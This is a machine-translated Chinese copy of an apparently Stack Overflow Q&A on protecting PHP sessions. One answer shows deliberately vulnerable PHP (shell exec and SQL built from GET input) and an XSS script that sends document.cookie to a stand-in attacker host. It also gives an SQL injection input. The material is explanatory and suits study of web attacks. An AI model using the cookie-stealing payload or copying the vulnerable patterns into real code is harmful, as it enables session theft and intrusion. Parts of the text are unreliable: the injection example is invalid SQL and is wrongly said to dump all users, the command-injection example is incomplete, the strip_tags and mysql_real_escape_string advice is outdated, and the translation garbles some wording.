保护PHP会话免受XSS攻击

时间:2013-01-01 15:27:26

标签: php html session input xss

我一直在阅读很多关于owasp.org的文章,其中一件我记得最多但很难理解的事情是保护PHP会话。

我无法理解如何确保会议安全,因此我在这里问。在PHP中保护会话的最佳方法是什么?

附带问题:XSS是否容易受到文件输入的影响?

这是PHP会话劫持的来源: OWASP.org: PHP Security Cheat Sheet

3 个答案:

答案 0 :(得分:3)

  

在PHP中保护会话的最佳方法是什么?

安全性就像让我们说你在购物中购买一瓶牛奶一样。阅读客户评论可能会告诉你最好的牛奶是什么,但对于安全性,这有点不同。

客户评论是Owasp概述的内容。它告诉您保护会话处理的一般动态和含义。

由于PHP会话只是PHP本身提供的某种基本功能,因此很难告诉您保护这些会话的最佳方法是什么,因为它很大程度上取决于您如何使用该功能< / em>的

然而,使用PHP会话的最佳方式的一个明显部分是密切关注PHP本身的安全报告和评论以及特定的会话功能。然后注意保持最新版本的PHP,它提供保护会话的最佳方式可能是最新的稳定版本。有时如果报告缺陷,下一版本的内容并不完全固定,所以要小心。

与PHP无关的其他所有内容都是未定义的,Owasp只能提供一个子集。

因此,为了安全起见,首先要了解Owasp文档中概述的内容,然后才能开始将其应用于(您的)PHP代码,这一点非常重要。例如。通过在这里询问,可以给出的最佳方向是,你可以更加了解Owasp文档中发生的事情和意义。

了解事物的运作方式是安全的关键。

答案 1 :(得分:2)

以下是一些需要牢记的主要问题:

未验证用户输入

假设您有一个网页,允许用户查看文件夹的内容(例如您的托管公司并向用户显示他们在服务器上的文件)

以下是一些可能实现的代码:

$directory = $_GET['directory'];

exec("ls $directory", $result);

攻击者可以通过将其他命令传入url字符串来利用此功能,例如:

ls -LR

会话劫持

每个会话都有一个唯一的ID,如果攻击者掌握了它,他们可以(可能)使用它来获取机密信息。

为了防止这种情况,用户需要在做任何敏感操作之前重新进行身份验证(使用他们的密码)(例如,如果用户想要重置密码,请强制他们先输入旧密码)

XSS(跨站点脚本攻击)

每当您拥有一个包含用户生成内容的网站时(这是博客评论的一个很好的例子),攻击者可能会将javaScript放入他的内容(阅读:他的评论),这可能会对其造成伤害所有访问该页面的用户。

以下是一个例子:

<script> 
    document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie; 
</script>

此代码允许攻击者网站(hackingYou.com)窃取您当前访问的网站的cookie。

防止这种情况的一种方法是使用以下命令从输入的任何字符串中删除任何HTML:

strip_tags($input);

SQL注入

(没有这个就不会是一个不错的答案)

假设您有一个将用户登录到站点的网页。为了成功登录它们,请在数据库中检查它们的记录。

以下是它的编码方式:

$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";

攻击者可以通过输入密码字段来利用此功能:

abcd OR WHERE 1 = 1

生成的sql语句如下所示:

SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;

这会向攻击者吐出所有用户名和密码的完整表格。

使用以下命令防止此“清理”SQL的输入字符串:

mysql_real_escape_string($input) 

这是大多数基础知识,显然应始终通过阅读最新的安全公告来了解最新信息,例如:

答案 2 :(得分:1)

确保所有安全性的最佳方法是学习一个PHP Web框架,它将为您提供随时可用的安全级别输入。

显然,安全性,不存在,它存在更好的安全性和最差的安全性,我建议你不要重新发明轮子,所以根据社区bug / hack报告,每天都会对网络框架进行深度修复,以及我认为,这是您可以获得的最大安全级别!